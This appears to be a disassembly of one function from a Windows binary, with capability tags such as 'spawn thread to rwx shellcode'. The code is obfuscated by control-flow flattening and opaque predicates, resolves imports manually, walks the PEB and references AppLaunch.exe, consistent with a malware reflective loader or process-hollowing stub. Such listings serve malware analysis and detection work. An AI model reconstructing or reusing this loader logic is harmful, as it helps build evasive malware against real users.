Function at 0x40fda0
Capabilities:
Allocate or change rwx memory
Create thread
Get number of processors
Get process heap flags
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x19c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x19c], eax
mov eax, dword [0x452080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0x951a41d8
sub edx, 1
sub edx, 0x951a41d8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x18e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x18d], al
mov dword [ebp - 0x194], 0xdcf4c72f
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x1a0], eax
sub eax, 0x814f21b1
je 0x4124de
jmp 0x40fe23
mov eax, dword [ebp - 0x1a0]
sub eax, 0x81de5ff0
je 0x414c67
jmp 0x40fe39
mov eax, dword [ebp - 0x1a0]
sub eax, 0x823c7fbf
je 0x411bd8
jmp 0x40fe4f
mov eax, dword [ebp - 0x1a0]
sub eax, 0x830bdba7
je 0x412e44
jmp 0x40fe65
mov eax, dword [ebp - 0x1a0]
sub eax, 0x83a050a7
je 0x413064
jmp 0x40fe7b
mov eax, dword [ebp - 0x1a0]
sub eax, 0x856cebab
je 0x4126fc
jmp 0x40fe91
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85bc472b
je 0x414d81
jmp 0x40fea7
mov eax, dword [ebp - 0x1a0]
sub eax, 0x85d810e3
je 0x41382b
jmp 0x40febd
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86094601
je 0x414314
jmp 0x40fed3
mov eax, dword [ebp - 0x1a0]
sub eax, 0x866b2713
je 0x413cc4
jmp 0x40fee9
mov eax, dword [ebp - 0x1a0]
sub eax, 0x86dc5c44
je 0x412973
jmp 0x40feff
mov eax, dword [ebp - 0x1a0]
sub eax, 0x872c22e1
je 0x413f14
jmp 0x40ff15
mov eax, dword [ebp - 0x1a0]
sub eax, 0x87f684d3
je 0x414382
jmp 0x40ff2b
mov eax, dword [ebp - 0x1a0]
sub eax, 0x87fbf52c
je 0x412a35
jmp 0x40ff41
mov eax, dword [ebp - 0x1a0]
sub eax, 0x886e4c1c
je 0x414bbb
jmp 0x40ff57
mov eax, dword [ebp - 0x1a0]
sub eax, 0x88af76fb
je 0x414683
jmp 0x40ff6d
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8aadbf5a
je 0x4145ba
jmp 0x40ff83
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8d07df12
je 0x414d96
jmp 0x40ff99
mov eax, dword [ebp - 0x1a0]
sub eax, 0x8f9fe084
je 0x4140a3
jmp 0x40ffaf
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90d45f9e
je 0x411c74
jmp 0x40ffc5
mov eax, dword [ebp - 0x1a0]
sub eax, 0x90f1870a
je 0x412d5c
jmp 0x40ffdb
mov eax, dword [ebp - 0x1a0]
sub eax, 0x93d96ddc
je 0x41490d
jmp 0x40fff1
mov eax, dword [ebp - 0x1a0]
sub eax, 0x969d504b
je 0x412455
jmp 0x410007
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9a37b210
je 0x4118e5
jmp 0x41001d
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b05191f
je 0x4127e8
jmp 0x410033
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9b7e0c1a
je 0x4130c8
jmp 0x410049
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9cb9efd9
je 0x41498a
jmp 0x41005f
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9fc178cd
je 0x413c29
jmp 0x410075
mov eax, dword [ebp - 0x1a0]
sub eax, 0x9fc80116
je 0x414d57
jmp 0x41008b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa00d1c52
je 0x413169
jmp 0x4100a1
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa1ec4626
je 0x41400f
jmp 0x4100b7
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa42bb369
je 0x411863
jmp 0x4100cd
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa452279a
je 0x4140e6
jmp 0x4100e3
mov eax, dword [ebp - 0x1a0]
sub eax, 0xa9de71d0
je 0x41211a
jmp 0x4100f9
mov eax, dword [ebp - 0x1a0]
sub eax, 0xabdb9680
je 0x4138e9
jmp 0x41010f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xac29a8bb
je 0x414ab6
jmp 0x410125
mov eax, dword [ebp - 0x1a0]
sub eax, 0xac77c731
je 0x413fd3
jmp 0x41013b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xacf46b89
je 0x413e39
jmp 0x410151
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb03a5071
je 0x41351e
jmp 0x410167
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb4b8136f
je 0x413192
jmp 0x41017d
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb52691bc
je 0x412033
jmp 0x410193
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb5441838
je 0x414acb
jmp 0x4101a9
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb7103bf8
je 0x414e2c
jmp 0x4101bf
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb712a345
je 0x414f69
jmp 0x4101d5
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb81fa0f1
je 0x414305
jmp 0x4101eb
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb8297cd5
je 0x414a2c
jmp 0x410201
mov eax, dword [ebp - 0x1a0]
sub eax, 0xb8dce27c
je 0x414bdc
jmp 0x410217
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbb2b8194
je 0x4136fa
jmp 0x41022d
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbb743887
je 0x41264d
jmp 0x410243
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbbab8e11
je 0x412339
jmp 0x410259
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbce36d2b
je 0x411f9d
jmp 0x41026f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbebe9e3d
je 0x4138cb
jmp 0x410285
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbf1f9e32
je 0x41403f
jmp 0x41029b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xbf3178e8
je 0x413e57
jmp 0x4102b1
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc15013d7
je 0x4149f7
jmp 0x4102c7
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc1aa0c46
je 0x412d7a
jmp 0x4102dd
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc1e1a0f2
je 0x4116a9
jmp 0x4102f3
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc2bb31dc
je 0x413131
jmp 0x410309
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc4a2d89e
je 0x412144
jmp 0x41031f
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc552cf63
je 0x413d24
jmp 0x410335
mov eax, dword [ebp - 0x1a0]
sub eax, 0xc90439d2
je 0x413874
jmp 0x41034b
mov eax, dword [ebp - 0x1a0]
sub eax, 0xcbf60e3c
je 0x412382
jmp 0x410361
mov eax, dword [ebp - 0x1a0]
sub eax, 0xcd4232d5
je 0x414aed
jmp 0x410377
mov eax, dword [ebp - 0x1a0]
sub eax, 0xcda0855e
je 0x4124fc
jmp 0x41038d
mov eax, dword [ebp - 0x1a0]
sub eax, 0xce8caa50
je 0x414df0
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0xeffb59c6
sub edx, 1
sub edx, 0xeffb59c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9cb9efd9
mov ecx, 0xfd72cb08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x194], 0x4ec48530
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x198], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x194], 0x694c2793
jmp 0x414f7f
mov eax, dword [ebp - 0x160]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
sub edx, 0x7bdecaa1
sub edx, 1
add edx, 0x7bdecaa1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc15013d7
mov ecx, 0x48036cb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
mov edx, eax
sub edx, 0xcfb6524d
sub edx, 1
add edx, 0xcfb6524d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4806295c
mov ecx, 0xda889e49
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x170]
mov edx, dword [eax]
mov ecx, dword [ebp - 0xac]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov dword [eax], 0
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4d6d1144
mov ecx, 0xb52691bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dword [ebp - 0x194], 0x5fdee53c
jmp 0x414f7f
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ecx]
setl al
and al, 1
mov byte [ebp - 0x9f], al
mov dword [ebp - 0x194], 0xc4a2d89e
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0x4d7cc590
sub edx, 1
sub edx, 0x4d7cc590
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7b3a7b33
mov ecx, 0xd7b5315f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov ax, word [ebp - 0x9e]
movzx edx, ax
sar edx, 0xc
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 3
mov eax, 0xffffffff
xor eax, 0x1b08f9cc
or edx, ecx
or eax, 0x1b08f9cc
xor edx, 0xffffffff
and edx, eax
mov eax, 0x217b6166
mov ecx, 0xcbf60e3c
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, ecx
xor edx, esi
and edx, ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x194], 0xea6665a
jmp 0x414f7f
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
add ecx, 2
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
sub edx, 0x6de15412
sub edx, 1
add edx, 0x6de15412
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb5441838
mov ecx, 0x814f21b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dword [ebp - 0x194], 0x44e6a05b
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd4232d5
mov ecx, 0x6423d2f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x154]
mov ecx, dword [ecx]
add ecx, 0x823f0d79
add ecx, eax
sub ecx, 0x823f0d79
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0xda2f1222
sub edx, 1
sub edx, 0xda2f1222
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe36775cb
mov ecx, 0x856cebab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dword [ebp - 0x194], 0xe6ec97ac
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
sub edx, 0xff03aede
sub edx, 1
add edx, 0xff03aede
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe2a1a9b9
mov ecx, 0x4c4aff82
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x13c]
imul ecx, dword [ecx], 0x14
add eax, ecx
add eax, 0x10
mov dword [ebp - 0x90], eax
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
sub edx, 0xa7787a3d
sub edx, 1
add edx, 0xa7787a3d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd4c82f3d
mov ecx, 0xf9a67a48
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov edx, dword [ebp - 0x13c]
imul edx, dword [edx], 0x14
add eax, edx
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x194], 0x1a398557
jmp 0x414f7f
mov edx, dword [ebp - 0x80]
mov eax, 0x68a887e2
mov ecx, 0xc1aa0c46
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
mov edx, eax
add edx, 0xabfb712f
sub edx, 1
sub edx, 0xabfb712f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81de5ff0
mov ecx, 0xdf13a60
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dword [ebp - 0x194], 0x488713b4
jmp 0x414f7f
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x134]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0x35bfcb6b
jmp 0x414f7f
mov eax, dword [ebp - 0x13c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x68]
imul ecx, ecx, 0x14
add eax, ecx
mov ecx, dword [eax + 0x10]
mov eax, dword [ebp - 0x6c]
add eax, 0x989955d2
add eax, ecx
sub eax, 0x989955d2
mov ecx, dword [ebp - 0x12c]
mov edx, dword [ecx]
shl edx, 2
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0xecbe541c
jmp 0x414f7f
mov ecx, dword [ebp - 0x64]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 1
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0xdf6c5d1e
jmp 0x414f7f
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x194], 0xb4b8136f
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
mov edx, ecx
add edx, 0xf01c11b6
sub edx, 1
sub edx, 0xf01c11b6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0207387
mov ecx, 0x5699e21d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x29cd6934
or eax, edx
or ecx, 0x29cd6934
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x50], eax
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9fc80116
mov ecx, 0x55775198
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x118]
mov dword [eax], 0x40
mov dword [ebp - 0x194], 0x798baa62
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d07df12
mov ecx, 0xc90439d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x48]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x41], al
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d07df12
mov ecx, 0xbebe9e3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dl, byte [ebp - 0x41]
mov eax, 0x34da35a8
mov ecx, 0xabdb9680
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x80000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x194], 0x553e950
jmp 0x414f7f
mov eax, dword [ebp - 0x38]
mov ecx, 0xffffffff
xor ecx, 0x20000000
mov edx, eax
xor edx, ecx
and edx, eax
mov eax, 0xc552cf63
mov ecx, 0xf4b507a4
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
mov edx, eax
sub edx, 0x5cd14b4b
sub edx, 1
add edx, 0x5cd14b4b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f85d09a
mov ecx, 0x5d5a1858
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0x5ee2ce8f
or eax, edx
or ecx, 0x5ee2ce8f
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x194], 0x20cad20a
jmp 0x414f7f
mov dl, byte [ebp - 0x2d]
mov eax, 0xd2f0566
mov ecx, 0xbf3178e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [0x453544]
mov ecx, dword [0x453540]
mov edx, eax
sub edx, 0xfc4ad94a
sub edx, 1
add edx, 0xfc4ad94a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf049741a
mov ecx, 0x15661fb6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x631065c4
mov ecx, 0xd647e2d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov dword [ebp - 0x194], 0xd2f0566
jmp 0x414f7f
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x194], 0xbf1f9e32
jmp 0x414f7f
mov eax, dword [ebp - 0x28]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x16c]
mov esi, dword [eax]
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
sub esi, 0x56e9fcdd
add esi, eax
add esi, 0x56e9fcdd
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x2c]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.0040fbd0
add esp, 0x10
mov dword [ebp - 0x194], 0x8f9fe084
jmp 0x414f7f
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x194], 0xcd2c282
jmp 0x414f7f
mov ecx, dword fs:[0x30]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0xc
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
add ecx, 0x4af9a06b
sub ecx, 8
sub ecx, 0x4af9a06b
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
add eax, 0x4863cec7
add eax, 8
sub eax, 0x4863cec7
mov dword [eax], ecx
mov eax, dword [ebp - 0x16c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
xor edx, edx
sub edx, 0x18
sub eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x108]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x24
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x100]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.00420630
add esp, 0xc
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x194], 0x43251bec
jmp 0x414f7f
mov dword [ebp - 0x194], 0x86094601
jmp 0x414f7f
mov ecx, dword [0x453544]
mov eax, dword [0x453540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x206b8479
mov ecx, 0x87f684d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x414f7f
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x10
mov dword [ebp - 0x18], eax
